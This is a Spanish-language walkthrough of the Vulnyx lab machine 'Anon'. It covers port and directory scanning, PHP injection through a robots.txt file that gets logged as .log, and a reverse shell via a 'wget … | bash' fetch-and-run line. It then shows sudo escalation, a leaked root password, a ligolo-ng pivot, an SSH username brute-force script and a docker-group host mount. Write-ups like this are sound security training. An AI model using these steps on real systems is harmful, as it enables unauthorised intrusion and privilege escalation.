Anon es una de las máquinas existentes actualmente en la plataforma de hacking Vulnyx, y es de dificultad Medium.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la máquina a vulnerar que en mi caso será la 192.168.0.51
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
┌──(user㉿sec)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.53 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 22:33 CET Initiating ARP Ping Scan at 22:33 Scanning 192.168.0.53 [1 port] Completed ARP Ping Scan at 22:33, 0.06s elapsed (1 total hosts) Initiating SYN Stealth Scan at 22:33 Scanning 192.168.0.53 [65535 ports] Discovered open port 22/tcp on 192.168.0.53 Discovered open port 80/tcp on 192.168.0.53 Completed SYN Stealth Scan at 22:33, 0.65s elapsed (65535 total ports) Nmap scan report for 192.168.0.53 Host is up, received arp-response (0.00013s latency). Scanned at 2025-02-05 22:33:21 CET for 1s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 63 MAC Address: 08:00:27:17:F3:D8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutamos nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir más información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
┌──(user㉿sec)-[~] └─$ nmap -sCV -p22,80 192.168.0.53 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 22:37 CET Nmap scan report for anon.nyx (192.168.0.53) Host is up (0.00050s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0) | ssh-hostkey: | 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA) |_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Apache2 Debian Default Page: It works MAC Address: 08:00:27:17:F3:D8 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds |
Usamos feroxbuster para ver que encontramos en el puerto 80 y tras una buena espera, finalmente encontrarmos la carpeta Anonymous-Connections.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
┌──(user㉿sec)-[~] └─$ feroxbuster --url http://192.168.0.53 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.0.53 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, html, txt, bak] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 368l 933w 10701c http://192.168.0.53/index.html 200 GET 25l 127w 10359c http://192.168.0.53/icons/openlogo-75.png 200 GET 368l 933w 10701c http://192.168.0.53/ 301 GET 9l 28w 328c http://192.168.0.53/Anonymous-Connections => http://192.168.0.53/Anonymous-Connections/ 200 GET 357l 810w 55475c http://192.168.0.53/Anonymous-Connections/anonymous.jpg 200 GET 98l 195w 2426c http://192.168.0.53/Anonymous-Connections/index.php 301 GET 9l 28w 336c http://192.168.0.53/Anonymous-Connections/victims => http://192.168.0.53/Anonymous-Connections/victims/ [#######>------------] - 3m 782089/2205500 5m found:6 errors:0 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_0_53-1738791848.state ... ❌ Could not save ferox-http_192_168_0_53-1738791848.state, falling back to /tmp ✅ Saved scan state to "/tmp/ferox-http_192_168_0_53-1738791848.state" [#######>------------] - 3m 782239/2205500 5m found:6 errors:0 [#############>------] - 3m 759750/1102730 4458/s http://192.168.0.53/ [>-------------------] - 10s 22220/1102730 2199/s http://192.168.0.53/Anonymous-Connections/ [--------------------] - 0s 0/1102730 - http://192.168.0.53/icons/openlogo-75.png [--------------------] - 0s 0/1102730 - http://192.168.0.53/Anonymous-Connections/anonymous.jpg |
Accedemos a la carpeta desde el navegador y encontramos un input donde nos pide un target IP.

Escribimos nuestra ip atacante y vemos que la herramienta que se esta usando es nmap con un resultado de que todos los puertos estan cerrados.
Ttambien vemos el mensaje que nos indica que el output ha sido guardado como ip.log.

Tal y como vimos en el fuzzing anterior, teniamos una carpeta victims, así que añadimos el fichero donde nos indicaba que se había generado el output.

Viendo que ha tenido exito la prueba, levantamos un servidor web para ver el resultado del puerto 80 y que de forma predeterminada, busca un fichero index para mostrar el title.

También sabemos que de forma predeterminada buscar otro archivo, robots.txt, así que en la carpeta donde estamos levantando el servidor, creamos el fichero.
|
1 2 3 4 |
┌──(user㉿sec)-[~/old] └─$ cat robots.txt User-agent: * Disallow: index.php |

Lo que ponemos en robots.txt sale como output, asi que, ¿que pasará si intentamos ejecutar un comando con system y vamos al log? Puede ser que el servidor esté configurado para que los ficheros con extension .log ejecuten codigo php.
|
1 2 3 4 |
┌──(user㉿sec)-[~/old] └─$ cat robots.txt User-agent: * Disallow: <?php system("id");?> |


Y vemos que el codigo php se esta ejecutando! asi que lo siguiente es cambiar el codigo para ejecutar una reverse shell y acceder al log.
|
1 2 3 4 |
┌──(user㉿sec)-[~/old] └─$ cat robots.txt User-agent: * Disallow: <?php system("wget -O - 192.168.0.35/m|bash");?> |
Una vez dentro, lo primero que vemos es que pertenece al grupo sudo , por lo cual podemos escalar a root directamente.
|
1 2 3 4 5 6 7 8 9 |
┌──(user㉿sec)-[~/Downloads] └─$ nc -vnlp 1234 listening on [any] 1234 ... connect to [192.168.0.35] from (UNKNOWN) [192.168.0.53] 58362 hacktivist@debian1:/var/www/html/Anonymous-Connections/victims$ script /dev/null -c bash -c bashdev/null Script started, output log file is '/dev/null'. hacktivist@debian1:/var/www/html/Anonymous-Connections/victims$ id uid=1000(hacktivist) gid=1000(hacktivist) groups=1000(hacktivist),27(sudo) |
Y tambien nos percatamos que esto es un contenedor, siendo la ip 172.170.2
|
1 2 3 4 5 |
hacktivist@debian1:/var/www/html/Anonymous-Connections/victims$ sudo su AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message httpd (pid 8) already running root@debian1:/var/www/html/Anonymous-Connections/victims# id uid=0(root) gid=0(root) groups=0(root) |
Entre otros reconocimientos de la máquina, en history podemos ver una contraseña.
|
1 2 3 4 |
root@debian1:~# history 1 echo 'root:$uP3r_$3cUr3_D0ck3r' | chpasswd 2 cd 3 nano .bash_history |
Revisamos que interfaces tenemos y que ips, encontrandonos la 10.10.10.0/24 como secundaria.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
root@debian1:/home/hacktivist# ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever 9: eth1@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:0a:0a:0a:0a brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 10.10.10.10/24 brd 10.10.10.255 scope global eth1 valid_lft forever preferred_lft forever |
Al igual que usamos nmap en la web, también podemos utilizarlo para comprobar qué hosts hay en la red, y encontramos que la IP 10.10.10.20 es otro host además de nuestra máquina.
|
1 2 3 4 5 6 7 8 9 10 11 |
root@debian1:~# nmap -sn 10.10.10.0/24 Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-05 19:35 UTC Nmap scan report for 10.10.10.1 Host is up (0.000046s latency). MAC Address: 02:42:6F:FC:29:C3 (Unknown) Nmap scan report for debian2.private (10.10.10.20) Host is up (0.000062s latency). MAC Address: 02:42:0A:0A:0A:14 (Unknown) Nmap scan report for debian1 (10.10.10.10) Host is up. Nmap done: 256 IP addresses (3 hosts up) scanned in 14.88 seconds |
Ahora que tenemos un target, buscamos los puertos abiertos y encontramos que el puerto 2222 está disponible.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
root@debian1:~# nmap -sS -p- --open --min-rate 5000 -vvv -n 10.10.10.20 Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-05 19:38 UTC Initiating ARP Ping Scan at 19:38 Scanning 10.10.10.20 [1 port] Completed ARP Ping Scan at 19:38, 0.02s elapsed (1 total hosts) Initiating SYN Stealth Scan at 19:38 Scanning 10.10.10.20 [65535 ports] Discovered open port 2222/tcp on 10.10.10.20 Completed SYN Stealth Scan at 19:38, 0.90s elapsed (65535 total ports) Nmap scan report for 10.10.10.20 Host is up, received arp-response (0.0000080s latency). Scanned at 2025-02-05 19:38:08 UTC for 1s Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE REASON 2222/tcp open EtherNetIP-1 syn-ack ttl 64 MAC Address: 02:42:0A:0A:0A:14 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.99 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
En este caso, necesitaremos ligolo para acceder a la red 10.10.10.20, por lo que ejecutamos el servidor, luego creamos la interfaz ‘lig’, la activamos y asignamos la ruta 10.10.10.0/24.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
┌──(user㉿sec)-[~] └─$ ./proxy -selfcert WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! WARN[0000] Using self-signed certificates WARN[0000] TLS Certificate fingerprint for ligolo is: 43E07AA8E39CB1C3F5DF6448A68C85751918529867725544C17207A8817C0FF1 INFO[0000] Listening on 0.0.0.0:11601 ┌──(user㉿sec)-[~] └─$ sudo ip tuntap add mode tun lig ┌──(user㉿sec)-[~] └─$ sudo ip link set lig up ┌──(user㉿sec)-[~] └─$ sudo ip route add 10.10.10.0/24 dev lig |
Una vez transferimos el agente a la máquina víctima, lo ejecutamos conectándonos a nuestra máquina a través del puerto 11601 e iniciamos el túnel, lo que nos permite acceder a la red 10.10.10.0/24 desde nuestra máquina.
|
1 2 3 4 5 6 7 8 |
root@debian1:~# ./agent -connect 192.168.0.35:11601 -ignore-cert ligolo-ng » INFO[0230] Agent joined. ligolo-ng » session ? Specify a session : 1 - root@debian1 - 192.168.0.53:53362 - c419783b-2e9d-4d6e-9de9-383323570e52 [Agent : root@debian1] » start --tun lig |
Como el túnel ya está levantado y tenemos acceso a la red 10.10.10.0/24, intentamos conectarnos a la IP 10.10.10.20 a través del puerto 2222, que es la máquina que descubrimos con nmap, utilizando la contraseña que encontramos en el history
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
┌──(user㉿sec)-[~/Downloads/log] └─$ ssh root@10.10.10.20 -p2222 root@10.10.10.20's password: Linux debian2 6.1.0-30-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.124-1 (2025-01-12) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Feb 5 14:25:09 2025 from 10.10.10.10 root@debian2:~# |
Al igual que en la máquina anterior, tras no encontrar nada útil, encontramos una id_rsa, lo que sugiere que podría ser necesaria para conectarnos a la máquina real, aunque no tengamos un usuario válido.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
root@debian2:~# ls -l total 12 -rw-r--r-- 1 root root 10701 Feb 4 10:56 index.html root@debian2:~# ls -ltra total 40 -rw-r--r-- 1 root root 161 Jul 9 2019 .profile -rw-r--r-- 1 root root 10701 Feb 4 10:56 index.html drwxr-xr-x 1 root root 4096 Feb 4 11:17 .. drwxr-xr-x 3 root root 4096 Feb 4 20:21 .local -rw-r--r-- 1 root root 586 Feb 4 20:29 .bashrc drwx------ 2 root root 4096 Feb 5 14:11 .ssh drwx------ 4 root root 4096 Feb 5 14:12 . -rw------- 1 root root 1150 Feb 5 17:37 .bash_history root@debian2:~# cd .ssh/ root@debian2:~/.ssh# ls -l total 12 -rw------- 1 root root 381 Feb 4 21:38 authorized_keys -rw------- 1 root root 1679 Feb 4 21:37 id_rsa -rw-r--r-- 1 root root 142 Feb 5 14:11 known_hosts |
Para realizar fuerza bruta, utilizamos un script de d4t4s3c, pero le añadimos un timeout para evitar que se quede pidiendo una contraseña, ya que el servicio está configurado para aceptar tanto claves como contraseñas.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
┌──(user㉿sec)-[~] └─$ cat brute_user.sh #!/bin/bash RED="\e[91m" GREEN="\e[92m" WHITE="\e[97m" USERS=$(</usr/share/seclists/Usernames/Names/names.txt) RHOST="192.168.0.53" for USER in $USERS; do timeout 0.5 ssh -i id_rsa $USER@$RHOST -x id &>/dev/null if [ $? -eq 0 ]; then echo -e "$GREEN[+] User $USER is valid" exit else echo -e "$RED[-]$WHITE User $USER is invalid" fi done |
Le damos permiso de ejecucion, ejecutamos y esperamos a que nos de el usuario valido.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
┌──(user㉿sec)-[~] └─$ bash brute_user.sh [-] User aaliyah is invalid [-] User aaren is invalid [-] User aarika is invalid [-] User aaron is invalid [-] User aartjan is invalid [-] User aarushi is invalid [-] User abagael is invalid [-] User abagail is invalid [-] User abahri is invalid [-] User abbas is invalid [-] User abbe is invalid [-] User abbey is invalid [-] User abbi is invalid [-] User alfie is invalid [-] User alfons is invalid [-] User alfonse is invalid [-] User alfonso is invalid [-] User alfonzo is invalid [-] User alfred is invalid [-] User alfreda is invalid [+] User alfredo is valid |
Una vez encontrado el usuario, nos conectamos como alfredo y vemos que pertenece al grupo docker
|
1 2 3 4 |
┌──(user㉿sec)-[~] └─$ ssh -i id_rsa alfredo@192.168.0.53 -bash-5.2$ id uid=1000(alfredo) gid=1000(alfredo) grupos=1000(alfredo),109(docker) |
Asi que viendo que tenemos imagenes ya descargadas en la maquina, lo que vamos a hacer el usar una de ellas para que en su /mnt , monte / de la maquina real de manera que podamos acceder.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
bash-5.2$ docker images REPOSITORY TAG IMAGE ID CREATED SIZE debian2 latest 8862ed54f766 33 hours ago 117MB debian1 latest 62c15a42ee05 33 hours ago 117MB debian latest 18f9bd665a29 2 days ago 117MB -bash-5.2$ docker run -v /:/mnt --rm -it debian /bin/bash root@f38bafbe9160:/# cd /mnt/ root@f38bafbe9160:/mnt# ls bin dev home initrd.img.old lib64 media opt root sbin sys usr vmlinuz boot etc initrd.img lib lost+found mnt proc run srv tmp var vmlinuz.old root@f38bafbe9160:/mnt# cd root/ root@f38bafbe9160:/mnt/root# ls root.txt |
Y hasta aquí la maquina Anon de Vulnyx!









